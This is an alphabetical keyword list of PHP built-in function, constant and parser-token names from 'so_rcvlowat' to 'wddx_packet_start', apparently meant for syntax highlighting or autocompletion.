so_rcvlowat so_rcvtimeo so_reuseaddr so_reuseport so_sndbuf so_sndlowat so_sndtimeo so_type soap_1_1 soap_1_2 soap_actor_next soap_actor_none soap_actor_unlimatereceiver soap_authentication_basic soap_authentication_digest soap_compression_accept soap_compression_deflate soap_compression_gzip soap_document soap_enc_array soap_enc_object soap_encoded soap_functions_all soap_literal soap_persistence_request soap_persistence_session soap_rpc soap_single_element_arrays soap_ssl_method_sslv2 soap_ssl_method_sslv23 + soap_ssl_method_sslv3 soap_ssl_method_tls soap_use_xsi_array_type soap_wait_one_way_calls sock_dgram sock_raw sock_rdm sock_seqpacket sock_stream socket_accept socket_addrinuse socket_bind socket_clear_error socket_close socket_cmsg_space socket_connect socket_create socket_create_listen socket_create_pair socket_e2big socket_eacces socket_eaddrinuse socket_eaddrnotavail socket_eadv socket_eafnosupport socket_eagain socket_ealready socket_ebade socket_ebadf socket_ebadfd socket_ebadmsg socket_ebadr socket_ebadrqc socket_ebadslt socket_ebusy socket_echrng socket_ecomm socket_econnaborted socket_econnrefused socket_econnreset socket_edestaddrreq socket_ediscon socket_edquot socket_eduot socket_eexist socket_efault socket_ehostdown socket_ehostunreach socket_eidrm socket_einprogress socket_eintr socket_einval socket_eio socket_eisconn socket_eisdir socket_eisnam socket_el2hlt socket_el2nsync socket_el3hlt socket_el3rst socket_elnrng socket_eloop socket_emediumtype socket_emfile socket_emlink socket_emsgsize socket_emultihop socket_enametoolong socket_enetdown socket_enetreset socket_enetunreach socket_enfile socket_enoano socket_enobufs socket_enocsi socket_enodata socket_enodev socket_enoent socket_enolck socket_enolink socket_enomedium socket_enomem socket_enomsg socket_enonet socket_enoprotoopt socket_enospc socket_enosr socket_enostr socket_enosys socket_enotblk socket_enotconn socket_enotdir socket_enotempty socket_enotsock socket_enotty socket_enotuniq socket_enxio socket_eopnotsupp socket_eperm socket_epfnosupport socket_epipe socket_eproclim socket_eproto socket_eprotonosupport socket_eprotoopt socket_eprototype socket_eremchg socket_eremote socket_eremoteio socket_erestart socket_erofs socket_eshutdown socket_esocktnosupport socket_espipe socket_esrmnt socket_estale socket_estrpipe socket_etime socket_etimedout socket_etoomanyrefs socket_etoomyrefs socket_eunatch socket_eusers socket_ewouldblock socket_exdev socket_exfull socket_get_option socket_get_status socket_getopt socket_getpeername socket_getsockname socket_host_not_found socket_import_stream socket_last_error socket_listen socket_no_address socket_no_data socket_no_recovery socket_notinitialised socket_read socket_recv socket_recvfrom socket_recvmsg socket_select socket_send socket_sendmsg socket_sendto socket_set_block socket_set_blocking socket_set_nonblock socket_set_option socket_set_timeout socket_setopt socket_shutdown socket_strerror socket_sysnotready socket_try_again socket_vernotsupported socket_write sol_socket sol_tcp sol_udp somaxconn sort sort_asc sort_desc sort_flag_case sort_locale_string sort_natural sort_numeric sort_regular sort_string sortarrival sortcc sortdate sortfrom sortsize sortsubject sortto soundex spl_autoload spl_autoload_call spl_autoload_extensions spl_autoload_functions spl_autoload_register spl_autoload_unregister spl_classes spl_object_hash split spliti sprintf sql_best_rowid sql_bigint sql_binary sql_bit sql_char sql_concur_lock sql_concur_read_only sql_concur_rowver sql_concur_values sql_concurrency sql_cur_use_driver sql_cur_use_if_needed sql_cur_use_odbc sql_cursor_dynamic sql_cursor_forward_only sql_cursor_keyset_driven sql_cursor_static sql_cursor_type sql_date sql_decimal sql_double sql_ensure sql_fetch_first sql_fetch_next sql_float sql_index_all sql_index_unique sql_integer sql_keyset_size sql_longvarbinary sql_longvarchar sql_no_nulls sql_nullable sql_numeric sql_odbc_cursors sql_quick sql_real sql_regcase sql_rowver sql_scope_currow sql_scope_session sql_scope_transaction sql_smallint sql_time sql_timestamp sql_tinyint sql_type_date sql_type_time sql_type_timestamp sql_varbinary sql_varchar sql_wchar sql_wlongvarchar sql_wvarchar sqlbit sqlchar sqlflt4 sqlflt8 sqlint1 sqlint2 sqlint4 sqlite3_assoc sqlite3_blob sqlite3_both sqlite3_float sqlite3_integer sqlite3_null sqlite3_num sqlite3_open_create sqlite3_open_readonly sqlite3_open_readwrite sqlite3_text sqlite_abort sqlite_array_query sqlite_assoc sqlite_auth sqlite_both sqlite_busy sqlite_busy_timeout sqlite_cantopen sqlite_changes sqlite_close sqlite_column sqlite_constraint sqlite_corrupt sqlite_create_aggregate sqlite_create_function sqlite_current sqlite_done sqlite_empty sqlite_error sqlite_error_string sqlite_escape_string sqlite_exec sqlite_factory sqlite_fetch_all sqlite_fetch_array sqlite_fetch_column_types sqlite_fetch_object sqlite_fetch_single sqlite_fetch_string sqlite_field_name sqlite_format sqlite_full sqlite_has_more sqlite_has_prev sqlite_internal sqlite_interrupt sqlite_ioerr sqlite_key sqlite_last_error sqlite_last_insert_rowid sqlite_libencoding sqlite_libversion sqlite_locked sqlite_mismatch sqlite_misuse sqlite_next sqlite_nolfs sqlite_nomem sqlite_notadb sqlite_notfound sqlite_num sqlite_num_fields sqlite_num_rows sqlite_ok sqlite_open sqlite_perm sqlite_popen sqlite_prev sqlite_protocol sqlite_query sqlite_readonly sqlite_rewind sqlite_row sqlite_schema sqlite_seek sqlite_single_query sqlite_toobig sqlite_udf_decode_binary sqlite_udf_encode_binary sqlite_unbuffered_query sqlite_valid sqlsrv_begin_transaction sqlsrv_cancel sqlsrv_client_info sqlsrv_close sqlsrv_commit sqlsrv_configure sqlsrv_connect sqlsrv_cursor_buffered sqlsrv_cursor_dynamic sqlsrv_cursor_forward sqlsrv_cursor_keyset sqlsrv_cursor_static sqlsrv_enc_binary sqlsrv_enc_char sqlsrv_err_all sqlsrv_err_errors sqlsrv_err_warnings sqlsrv_errors sqlsrv_execute sqlsrv_fetch sqlsrv_fetch_array sqlsrv_fetch_assoc sqlsrv_fetch_both sqlsrv_fetch_numeric sqlsrv_fetch_object sqlsrv_field_metadata sqlsrv_free_stmt sqlsrv_get_config sqlsrv_get_field sqlsrv_has_rows sqlsrv_log_severity_all sqlsrv_log_severity_error sqlsrv_log_severity_notice sqlsrv_log_severity_warning sqlsrv_log_system_all sqlsrv_log_system_conn sqlsrv_log_system_init sqlsrv_log_system_off sqlsrv_log_system_stmt sqlsrv_log_system_util sqlsrv_next_result sqlsrv_nullable_no sqlsrv_nullable_unknown sqlsrv_nullable_yes sqlsrv_num_fields sqlsrv_num_rows sqlsrv_param_in sqlsrv_param_inout sqlsrv_param_out sqlsrv_phptype_datetime sqlsrv_phptype_float sqlsrv_phptype_int sqlsrv_phptype_null sqlsrv_phptype_stream sqlsrv_phptype_string sqlsrv_prepare sqlsrv_query sqlsrv_rollback sqlsrv_rows_affected sqlsrv_scroll_absolute sqlsrv_scroll_first sqlsrv_scroll_last sqlsrv_scroll_next sqlsrv_scroll_prior sqlsrv_scroll_relative sqlsrv_send_stream_data sqlsrv_server_info sqlsrv_sqltype_bigint sqlsrv_sqltype_binary sqlsrv_sqltype_bit sqlsrv_sqltype_char sqlsrv_sqltype_date sqlsrv_sqltype_datetime sqlsrv_sqltype_datetime2 sqlsrv_sqltype_datetimeoffset sqlsrv_sqltype_decimal sqlsrv_sqltype_float sqlsrv_sqltype_image sqlsrv_sqltype_int sqlsrv_sqltype_money sqlsrv_sqltype_nchar sqlsrv_sqltype_ntext sqlsrv_sqltype_numeric sqlsrv_sqltype_nvarchar sqlsrv_sqltype_real sqlsrv_sqltype_smalldatetime sqlsrv_sqltype_smallint sqlsrv_sqltype_smallmoney sqlsrv_sqltype_text sqlsrv_sqltype_time sqlsrv_sqltype_timestamp sqlsrv_sqltype_tinyint sqlsrv_sqltype_udt sqlsrv_sqltype_uniqueidentifier sqlsrv_sqltype_varbinary sqlsrv_sqltype_varchar sqlsrv_sqltype_xml sqlsrv_txn_read_committed sqlsrv_txn_read_serializable sqlsrv_txn_read_uncommitted sqlsrv_txn_repeatable_read sqlsrv_txn_serializable sqlsrv_txn_snapshot sqlt_afc sqlt_avc sqlt_bdouble sqlt_bfilee sqlt_bfloat sqlt_bin sqlt_blob sqlt_bol sqlt_cfilee sqlt_chr sqlt_clob sqlt_flt sqlt_int sqlt_lbi sqlt_lng sqlt_lvc sqlt_nty sqlt_num sqlt_odt sqlt_rdd sqlt_rset sqlt_str sqlt_uin sqlt_vcs sqltext sqlvarchar sqrt srand sscanf ssdeep_fuzzy_compare ssdeep_fuzzy_hash ssdeep_fuzzy_hash_filename ssh2_auth_agent ssh2_auth_hostbased_file ssh2_auth_none ssh2_auth_password ssh2_auth_pubkey_file ssh2_connect ssh2_default_term_height ssh2_default_term_unit ssh2_default_term_width ssh2_default_terminal ssh2_exec ssh2_fetch_stream ssh2_fingerprint ssh2_fingerprint_hex ssh2_fingerprint_md5 ssh2_fingerprint_raw ssh2_fingerprint_sha1 ssh2_methods_negotiated ssh2_publickey_add ssh2_publickey_init ssh2_publickey_list ssh2_publickey_remove ssh2_scp_recv ssh2_scp_send ssh2_sftp ssh2_sftp_chmod ssh2_sftp_lstat ssh2_sftp_mkdir ssh2_sftp_readlink ssh2_sftp_realpath ssh2_sftp_rename ssh2_sftp_rmdir ssh2_sftp_stat ssh2_sftp_symlink ssh2_sftp_unlink ssh2_shell ssh2_stream_stderr ssh2_stream_stdio ssh2_term_unit_chars ssh2_term_unit_pixels ssh2_tunnel st_set st_silent st_uid stat statement_trace static stats_absolute_deviation stats_cdf_beta stats_cdf_binomial stats_cdf_cauchy stats_cdf_chisquare stats_cdf_exponential stats_cdf_f stats_cdf_gamma stats_cdf_laplace stats_cdf_logistic stats_cdf_negative_binomial stats_cdf_noncentral_chisquare stats_cdf_noncentral_f stats_cdf_poisson stats_cdf_t stats_cdf_uniform stats_cdf_weibull stats_covariance stats_den_uniform stats_dens_beta stats_dens_cauchy stats_dens_chisquare stats_dens_exponential stats_dens_f stats_dens_gamma stats_dens_laplace stats_dens_logistic stats_dens_negative_binomial stats_dens_normal stats_dens_pmf_binomial stats_dens_pmf_hypergeometric stats_dens_pmf_poisson stats_dens_t stats_dens_weibull stats_harmonic_mean stats_kurtosis stats_rand_gen_beta stats_rand_gen_chisquare stats_rand_gen_exponential stats_rand_gen_f stats_rand_gen_funiform stats_rand_gen_gamma stats_rand_gen_ibinomial stats_rand_gen_ibinomial_negative stats_rand_gen_int stats_rand_gen_ipoisson stats_rand_gen_iuniform stats_rand_gen_noncenral_chisquare stats_rand_gen_noncentral_f stats_rand_gen_noncentral_t stats_rand_gen_normal stats_rand_gen_t stats_rand_get_seeds stats_rand_phrase_to_seeds stats_rand_ranf stats_rand_setall stats_skew stats_standard_deviation stats_stat_binomial_coef stats_stat_correlation stats_stat_gennch stats_stat_independent_t stats_stat_innerproduct stats_stat_noncentral_t stats_stat_paired_t stats_stat_percentile stats_stat_powersum stats_variance stdclass str_getcsv + str_ireplace str_pad str_pad_both str_pad_left str_pad_right str_repeat str_replace str_rot13 str_shuffle str_split str_word_count strcasecmp strchr strcmp strcoll strcspn stream_bucket_append stream_bucket_make_writeable stream_bucket_new stream_bucket_prepend stream_buffer_full stream_buffer_line stream_buffer_none stream_cast_as_stream stream_cast_for_select stream_client_async_connect stream_client_connect stream_client_persistent stream_context_create stream_context_get_default stream_context_get_options stream_context_get_params stream_context_set_default stream_context_set_option stream_context_set_params stream_copy_to_stream stream_crypto_method_any_client stream_crypto_method_any_server stream_crypto_method_sslv23_client stream_crypto_method_sslv23_server stream_crypto_method_sslv2_client stream_crypto_method_sslv2_server stream_crypto_method_sslv3_client stream_crypto_method_sslv3_server stream_crypto_method_tls_client stream_crypto_method_tls_server stream_crypto_method_tlsv1_0_client stream_crypto_method_tlsv1_0_server stream_crypto_method_tlsv1_1_client stream_crypto_method_tlsv1_1_server stream_crypto_method_tlsv1_2_client stream_crypto_method_tlsv1_2_server stream_encoding stream_enforce_safe_mode stream_filter_all stream_filter_append stream_filter_prepend stream_filter_read stream_filter_register stream_filter_remove stream_filter_write stream_get_contents stream_get_filters stream_get_line stream_get_meta_data stream_get_transports stream_get_wrappers stream_ignore_url stream_ipproto_icmp stream_ipproto_ip stream_ipproto_raw stream_ipproto_tcp stream_ipproto_udp stream_is_local stream_is_url stream_meta_access stream_meta_group stream_meta_group_name stream_meta_owner stream_meta_owner_name stream_meta_touch stream_mkdir_recursive stream_must_seek stream_notification_callback stream_notify_auth_required stream_notify_auth_result stream_notify_completed stream_notify_connect stream_notify_failure stream_notify_file_size_is stream_notify_mime_type_is stream_notify_progress stream_notify_redirected stream_notify_resolve stream_notify_severity_err stream_notify_severity_info stream_notify_severity_warn stream_oob stream_option_blocking stream_option_read_buffer stream_option_read_timeout stream_option_write_buffer stream_peek stream_pf_inet stream_pf_inet6 stream_pf_unix stream_register_wrapper stream_report_errors stream_resolve_include_path stream_select stream_server_bind stream_server_listen stream_set_blocking stream_set_chunk_size stream_set_read_buffer stream_set_timeout stream_set_write_buffer stream_shut_rd stream_shut_rdwr stream_shut_wr stream_sock_dgram stream_sock_raw stream_sock_rdm stream_sock_seqpacket stream_sock_stream stream_socket_accept stream_socket_client stream_socket_enable_crypto stream_socket_get_name stream_socket_pair stream_socket_recvfrom stream_socket_sendto stream_socket_server stream_socket_shutdown stream_supports_lock stream_url_stat_link stream_url_stat_quiet stream_use_path stream_wrapper_register stream_wrapper_restore stream_wrapper_unregister strftime string strip_tags stripcslashes stripos stripslashes stristr strlen strnatcasecmp strnatcmp strncasecmp strncmp strpbrk strpos strptime strrchr strrev strripos strrpos strspn strstr strtok strtolower strtotime strtoupper strtr strval substr substr_compare substr_count substr_replace suhosin_patch suhosin_patch_version summary_trace sunfuncs_ret_double sunfuncs_ret_string sunfuncs_ret_timestamp svn_add svn_auth_get_parameter svn_auth_param_config svn_auth_param_config_dir svn_auth_param_default_password svn_auth_param_default_username svn_auth_param_dont_store_passwords svn_auth_param_no_auth_cache svn_auth_param_non_interactive svn_auth_param_server_group svn_auth_param_ssl_server_cert_info svn_auth_param_ssl_server_failures svn_auth_set_parameter svn_blame svn_cat svn_checkout svn_cleanup svn_client_version svn_commit svn_delete svn_diff svn_export svn_fs_abort_txn svn_fs_apply_text svn_fs_begin_txn2 svn_fs_change_node_prop svn_fs_check_path svn_fs_config_fs_type svn_fs_contents_changed svn_fs_copy svn_fs_delete svn_fs_dir_entries svn_fs_file_contents svn_fs_file_length svn_fs_is_dir svn_fs_is_file svn_fs_make_dir svn_fs_make_file svn_fs_node_created_rev svn_fs_node_prop svn_fs_props_changed svn_fs_revision_prop svn_fs_revision_root svn_fs_txn_root svn_fs_type_bdb svn_fs_type_fsfs svn_fs_youngest_rev svn_import svn_log svn_ls svn_mkdir svn_node_dir svn_node_file svn_node_none svn_node_unknown svn_prop_revision_author svn_prop_revision_date svn_prop_revision_log svn_prop_revision_orig_date svn_repos_create svn_repos_fs svn_repos_fs_begin_txn_for_commit svn_repos_fs_commit_txn svn_repos_hotcopy svn_repos_open svn_repos_recover svn_revert svn_revision_head svn_status svn_update svn_wc_status_added svn_wc_status_conflicted svn_wc_status_deleted svn_wc_status_external svn_wc_status_ignored svn_wc_status_incomplete svn_wc_status_merged svn_wc_status_missing svn_wc_status_modified svn_wc_status_none svn_wc_status_normal svn_wc_status_obstructed svn_wc_status_replaced svn_wc_status_unversioned swfaction_data swfaction_enterframe swfaction_keydown swfaction_keyup swfaction_mousedown swfaction_mousemove swfaction_mouseup swfaction_onload swfaction_unload swfbutton_down swfbutton_dragout swfbutton_dragover swfbutton_hit swfbutton_mousedown swfbutton_mouseout swfbutton_mouseover swfbutton_mouseup swfbutton_mouseupoutside swfbutton_over swfbutton_up swffill_clipped_bitmap swffill_linear_gradient swffill_radial_gradient swffill_tiled_bitmap swftextfield_align_center swftextfield_align_justify swftextfield_align_left swftextfield_align_right swftextfield_drawbox swftextfield_haslength swftextfield_html swftextfield_multiline swftextfield_noedit swftextfield_noselect swftextfield_password swftextfield_wordwrap switch sybase_affected_rows sybase_close sybase_connect sybase_data_seek sybase_deadlock_retry_count sybase_fetch_array sybase_fetch_assoc sybase_fetch_field sybase_fetch_object sybase_fetch_row sybase_field_seek sybase_free_result sybase_get_last_message sybase_min_client_severity sybase_min_error_severity sybase_min_message_severity sybase_min_server_severity sybase_num_fields sybase_num_rows sybase_pconnect sybase_query sybase_result sybase_select_db sybase_set_message_handler sybase_unbuffered_query symlink sys_get_temp_dir sys_getloadavg syslog system t_abstract t_and_equal t_array t_array_cast t_as t_bad_character t_bool_cast t_boolean_and t_boolean_or t_break t_callable t_case t_catch t_character t_class t_class_c t_clone t_close_tag t_comment t_concat_equal t_const t_constant_encapsed_string t_continue t_curly_open t_dec t_declare t_default t_dir t_div_equal t_dnumber t_do t_doc_comment t_dollar_open_curly_braces t_double_arrow t_double_cast t_double_colon t_echo t_ellipsis t_else t_elseif t_empty t_encapsed_and_whitespace t_end_heredoc t_enddeclare t_endfor t_endforeach t_endif t_endswitch t_endwhile t_eval t_exit t_extends t_file t_final t_finally t_fmt t_fmt_ampm t_for t_foreach t_func_c t_function t_global t_goto t_halt_compiler t_if t_implements t_inc t_include t_include_once t_inline_html t_instanceof t_insteadof t_int_cast t_interface t_is_equal t_is_greater_or_equal t_is_identical t_is_not_equal t_is_not_identical t_is_smaller_or_equal t_isset t_line t_list t_lnumber t_logical_and t_logical_or t_logical_xor t_method_c t_minus_equal t_mod_equal t_mul_equal t_namespace t_new t_ns_c t_ns_separator t_num_string t_object_cast t_object_operator t_open_tag t_open_tag_with_echo t_or_equal t_paamayim_nekudotayim t_plus_equal t_pow t_pow_equal t_print t_private t_protected t_public t_require t_require_once t_return t_sl t_sl_equal t_sr t_sr_equal t_start_heredoc t_static t_string t_string_cast t_string_varname t_switch t_throw t_trait t_trait_c t_try t_unset t_unset_cast t_use t_var t_variable t_while t_whitespace t_xor_equal t_yield taint tan tanh tcp_nodelay tcpwrap_check tempnam textdomain thousands_sep thousep throw tidy_access_count tidy_clean_repair tidy_config_count tidy_diagnose tidy_error_count tidy_get_body tidy_get_config tidy_get_error_buffer tidy_get_head tidy_get_html tidy_get_html_ver tidy_get_output tidy_get_release tidy_get_root tidy_get_status tidy_getopt tidy_is_xhtml tidy_is_xml tidy_load_config tidy_nodetype_asp tidy_nodetype_cdata tidy_nodetype_comment tidy_nodetype_doctype tidy_nodetype_end tidy_nodetype_jste tidy_nodetype_php tidy_nodetype_procins tidy_nodetype_root tidy_nodetype_section tidy_nodetype_start tidy_nodetype_startend tidy_nodetype_text tidy_nodetype_xmldecl tidy_parse_file tidy_parse_string tidy_repair_file tidy_repair_string tidy_reset_config tidy_save_config tidy_set_encoding tidy_setopt tidy_tag_a tidy_tag_abbr tidy_tag_acronym tidy_tag_address tidy_tag_align tidy_tag_applet tidy_tag_area tidy_tag_b tidy_tag_base tidy_tag_basefont tidy_tag_bdo tidy_tag_bgsound tidy_tag_big tidy_tag_blink tidy_tag_blockquote tidy_tag_body tidy_tag_br tidy_tag_button tidy_tag_caption tidy_tag_center tidy_tag_cite tidy_tag_code tidy_tag_col tidy_tag_colgroup tidy_tag_comment tidy_tag_dd tidy_tag_del tidy_tag_dfn tidy_tag_dir tidy_tag_div tidy_tag_dl tidy_tag_dt tidy_tag_em tidy_tag_embed tidy_tag_fieldset tidy_tag_font tidy_tag_form tidy_tag_frame tidy_tag_frameset tidy_tag_h1 tidy_tag_h2 tidy_tag_h3 tidy_tag_h4 tidy_tag_h5 tidy_tag_h6 tidy_tag_head tidy_tag_hr tidy_tag_html tidy_tag_i tidy_tag_iframe tidy_tag_ilayer tidy_tag_img tidy_tag_input tidy_tag_ins tidy_tag_isindex tidy_tag_kbd tidy_tag_keygen tidy_tag_label tidy_tag_layer tidy_tag_legend tidy_tag_li tidy_tag_link tidy_tag_listing tidy_tag_map tidy_tag_marquee tidy_tag_menu tidy_tag_meta tidy_tag_multicol tidy_tag_nobr tidy_tag_noembed tidy_tag_noframes tidy_tag_nolayer tidy_tag_nosave tidy_tag_noscript tidy_tag_object tidy_tag_ol + tidy_tag_optgroup tidy_tag_option tidy_tag_p tidy_tag_param tidy_tag_plaintext tidy_tag_pre tidy_tag_q tidy_tag_rb tidy_tag_rbc tidy_tag_rp tidy_tag_rt tidy_tag_rtc tidy_tag_ruby tidy_tag_s tidy_tag_samp tidy_tag_script tidy_tag_select tidy_tag_server tidy_tag_servlet tidy_tag_small tidy_tag_spacer tidy_tag_span tidy_tag_strike tidy_tag_strong tidy_tag_style tidy_tag_sub tidy_tag_sup tidy_tag_table tidy_tag_tbody tidy_tag_td tidy_tag_textarea tidy_tag_tfoot tidy_tag_th tidy_tag_thead tidy_tag_title tidy_tag_tr tidy_tag_tt tidy_tag_u tidy_tag_ul tidy_tag_unknown tidy_tag_var tidy_tag_wbr tidy_tag_xmp tidy_warning_count time time_nanosleep time_sleep_until timezone_abbreviations_list timezone_identifiers_list timezone_location_get timezone_name_from_abbr timezone_name_get timezone_offset_get timezone_open timezone_transitions_get timezone_version_get timing_trace tmpfile token_get_all token_name touch trader_acos trader_ad trader_add trader_adosc trader_adx trader_adxr trader_apo trader_aroon trader_aroonosc trader_asin trader_atan trader_atr trader_avgprice trader_bbands trader_beta trader_bop trader_cci trader_cdl2crows trader_cdl3blackcrows trader_cdl3inside trader_cdl3linestrike trader_cdl3outside trader_cdl3starsinsouth trader_cdl3whitesoldiers trader_cdlabandonedbaby trader_cdladvanceblock trader_cdlbelthold trader_cdlbreakaway trader_cdlclosingmarubozu trader_cdlconcealbabyswall trader_cdlcounterattack trader_cdldarkcloudcover trader_cdldoji trader_cdldojistar trader_cdldragonflydoji trader_cdlengulfing trader_cdleveningdojistar trader_cdleveningstar trader_cdlgapsidesidewhite trader_cdlgravestonedoji trader_cdlhammer trader_cdlhangingman trader_cdlharami trader_cdlharamicross trader_cdlhighwave trader_cdlhikkake trader_cdlhikkakemod trader_cdlhomingpigeon trader_cdlidentical3crows trader_cdlinneck trader_cdlinvertedhammer trader_cdlkicking trader_cdlkickingbylength trader_cdlladderbottom trader_cdllongleggeddoji trader_cdllongline trader_cdlmarubozu trader_cdlmatchinglow trader_cdlmathold trader_cdlmorningdojistar trader_cdlmorningstar trader_cdlonneck trader_cdlpiercing trader_cdlrickshawman trader_cdlrisefall3methods trader_cdlseparatinglines trader_cdlshootingstar trader_cdlshortline trader_cdlspinningtop trader_cdlstalledpattern trader_cdlsticksandwich trader_cdltakuri trader_cdltasukigap trader_cdlthrusting trader_cdltristar trader_cdlunique3river trader_cdlupsidegap2crows trader_cdlxsidegap3methods trader_ceil trader_cmo trader_compatibility_default trader_compatibility_metastock trader_correl trader_cos trader_cosh trader_dema trader_div trader_dx trader_ema trader_err_alloc_err trader_err_bad_object trader_err_bad_param trader_err_func_not_found trader_err_group_not_found trader_err_input_not_all_initialize trader_err_internal_error trader_err_invalid_handle trader_err_invalid_list_type trader_err_invalid_param_function trader_err_invalid_param_holder trader_err_invalid_param_holder_type trader_err_lib_not_initialize trader_err_not_supported trader_err_out_of_range_end_index trader_err_out_of_range_start_index trader_err_output_not_all_initialize trader_err_success trader_err_unknown_error trader_errno trader_exp trader_floor trader_func_unst_adx trader_func_unst_adxr trader_func_unst_all trader_func_unst_atr trader_func_unst_cmo trader_func_unst_dx trader_func_unst_ema trader_func_unst_ht_dcperiod trader_func_unst_ht_dcphase trader_func_unst_ht_phasor trader_func_unst_ht_sine trader_func_unst_ht_trendline trader_func_unst_ht_trendmode trader_func_unst_kama trader_func_unst_mama trader_func_unst_mfi trader_func_unst_minus_di trader_func_unst_minus_dm trader_func_unst_natr trader_func_unst_none trader_func_unst_plus_di trader_func_unst_plus_dm trader_func_unst_rsi trader_func_unst_stochrsi trader_func_unst_t3 trader_get_compat trader_get_unstable_period trader_ht_dcperiod trader_ht_dcphase trader_ht_phasor trader_ht_sine trader_ht_trendline trader_ht_trendmode trader_kama trader_linearreg trader_linearreg_angle trader_linearreg_intercept trader_linearreg_slope trader_ln trader_log10 trader_ma trader_ma_type_dema trader_ma_type_ema trader_ma_type_kama trader_ma_type_mama trader_ma_type_sma trader_ma_type_t3 trader_ma_type_tema trader_ma_type_trima trader_ma_type_wma trader_macd trader_macdext trader_macdfix trader_mama trader_mavp trader_max trader_maxindex trader_medprice trader_mfi trader_midpoint trader_midprice trader_min trader_minindex trader_minmax trader_minmaxindex trader_minus_di trader_minus_dm trader_mom trader_mult trader_natr trader_obv trader_plus_di trader_plus_dm trader_ppo trader_real_max trader_real_min trader_roc trader_rocp trader_rocr trader_rocr100 trader_rsi trader_sar trader_sarext trader_set_compat trader_set_unstable_period trader_sin trader_sinh trader_sma trader_sqrt trader_stddev trader_stoch trader_stochf trader_stochrsi trader_sub trader_sum trader_t3 trader_tan trader_tanh trader_tema trader_trange trader_trima trader_trix trader_tsf trader_typprice trader_ultosc trader_var trader_wclprice trader_willr trader_wma trait trait_exists tran_commit_class_commit_instance tran_commit_class_uncommit_instance tran_rep_class_commit_instance tran_rep_class_rep_instance tran_rep_class_uncommit_instance tran_serializable transliterator_create transliterator_create_from_rules transliterator_create_inverse transliterator_get_error_code transliterator_get_error_message transliterator_list_ids transliterator_transliterate trap_brkpt trap_trace trigger_error trim true try typeapplication typeaudio typeimage typemessage typemodel typemultipart typeother typetext typevideo u_ambiguous_alias_warning u_bad_variable_definition u_brk_assign_error u_brk_error_limit u_brk_error_start u_brk_hex_digits_expected u_brk_init_error u_brk_internal_error u_brk_malformed_rule_tag u_brk_mismatched_paren u_brk_new_line_in_quoted_string u_brk_rule_empty_set u_brk_rule_syntax u_brk_semicolon_expected u_brk_unclosed_set u_brk_undefined_variable u_brk_unrecognized_option u_brk_variable_redfinition u_buffer_overflow_error u_ce_not_found_error u_collator_version_mismatch u_different_uca_version u_enum_out_of_sync_error u_error_limit u_error_warning_limit u_error_warning_start u_file_access_error u_fmt_parse_error_limit u_fmt_parse_error_start u_idna_ace_prefix_error u_idna_check_bidi_error u_idna_domain_name_too_long_error u_idna_error_limit u_idna_error_start u_idna_label_too_long_error u_idna_prohibited_error u_idna_std3_ascii_rules_error u_idna_unassigned_error u_idna_verification_error u_idna_zero_length_label_error u_illegal_argument_error u_illegal_char_found u_illegal_char_in_segment u_illegal_character u_illegal_escape_sequence u_illegal_pad_position u_index_outofbounds_error u_internal_program_error u_internal_transliterator_error u_invalid_char_found u_invalid_format_error u_invalid_function u_invalid_id u_invalid_property_pattern u_invalid_rbt_syntax u_invalid_state_error u_invalid_table_file u_invalid_table_format u_invariant_conversion_error u_malformed_exponential_pattern u_malformed_pragma u_malformed_rule u_malformed_set u_malformed_symbol_reference u_malformed_unicode_escape u_malformed_variable_definition u_malformed_variable_reference u_memory_allocation_error u_message_parse_error u_mismatched_segment_delimiters u_misplaced_anchor_start u_misplaced_compound_filter u_misplaced_cursor_offset u_misplaced_quantifier u_missing_operator u_missing_resource_error u_missing_segment_close u_multiple_ante_contexts u_multiple_compound_filters u_multiple_cursors u_multiple_decimal_separators u_multiple_decimal_seperators u_multiple_exponential_symbols u_multiple_pad_specifiers u_multiple_percent_symbols u_multiple_permill_symbols u_multiple_post_contexts u_no_space_available u_no_write_permission u_parse_error u_parse_error_limit u_parse_error_start u_pattern_syntax_error u_primary_too_long_error u_regex_bad_escape_sequence u_regex_bad_interval u_regex_error_limit u_regex_error_start u_regex_internal_error u_regex_invalid_back_ref u_regex_invalid_flag u_regex_invalid_state u_regex_look_behind_limit u_regex_max_lt_min u_regex_mismatched_paren u_regex_number_too_big u_regex_property_syntax u_regex_rule_syntax u_regex_set_contains_string u_regex_unimplemented u_resource_type_mismatch u_rule_mask_error u_safeclone_allocated_warning u_sort_key_too_short_warning u_standard_error_limit u_state_old_warning u_state_too_old_error u_string_not_terminated_warning u_stringprep_check_bidi_error u_stringprep_prohibited_error u_stringprep_unassigned_error u_too_many_aliases_error u_trailing_backslash u_truncated_char_found u_unclosed_segment u_undefined_segment_reference u_undefined_variable u_unexpected_token u_unmatched_braces u_unquoted_special u_unsupported_attribute u_unsupported_error u_unsupported_escape_sequence u_unsupported_property u_unterminated_quote u_useless_collator_error u_using_default_warning u_using_fallback_warning u_variable_range_exhausted u_variable_range_overlap u_zero_error uasort ucfirst ucwords udm_add_search_limit udm_alloc_agent udm_alloc_agent_array udm_api_version udm_cat_list udm_cat_path udm_check_charset udm_clear_search_limits udm_crc32 udm_errno udm_error udm_find udm_free_agent udm_free_ispell_data udm_free_res udm_get_doc_count udm_get_res_field udm_get_res_param udm_hash32 udm_load_ispell_data udm_set_agent_param uksort uloc_actual_locale uloc_valid_locale umask uniqid unixtojd unknown_type unlink unpack unregister_tick_function unserialize unset untaint upload_err_cant_write upload_err_extension upload_err_form_size upload_err_ini_size upload_err_no_file upload_err_no_tmp_dir upload_err_ok upload_err_partial urldecode urlencode use use_soap_error_handler user_error usleep usort utf8_decode utf8_encode var var_dump var_export varcmp_eq varcmp_gt varcmp_lt varcmp_null variant_abs + variant_add variant_and variant_cast variant_cat variant_cmp variant_date_from_timestamp variant_date_to_timestamp variant_div variant_eqv variant_fix variant_get_type variant_idiv variant_imp variant_int variant_mod variant_mul variant_neg variant_not variant_or variant_pow variant_round variant_set variant_set_type variant_sub variant_xor version_compare vfprintf virtual void vpopmail_add_alias_domain vpopmail_add_alias_domain_ex vpopmail_add_domain vpopmail_add_domain_ex vpopmail_add_user vpopmail_alias_add vpopmail_alias_del vpopmail_alias_del_domain vpopmail_alias_get vpopmail_alias_get_all vpopmail_auth_user vpopmail_del_domain vpopmail_del_domain_ex vpopmail_del_user vpopmail_error vpopmail_passwd vpopmail_set_user_quota vprintf vsprintf vt_array vt_bool vt_bstr vt_byref vt_cy vt_date vt_decimal vt_dispatch vt_empty vt_error vt_i1 vt_i2 vt_i4 vt_int vt_null vt_r4 vt_r8 vt_ui1 vt_ui2 vt_ui4 vt_uint vt_unknown vt_variant wddx_add_vars wddx_deserialize wddx_packet_end wddx_packet_start 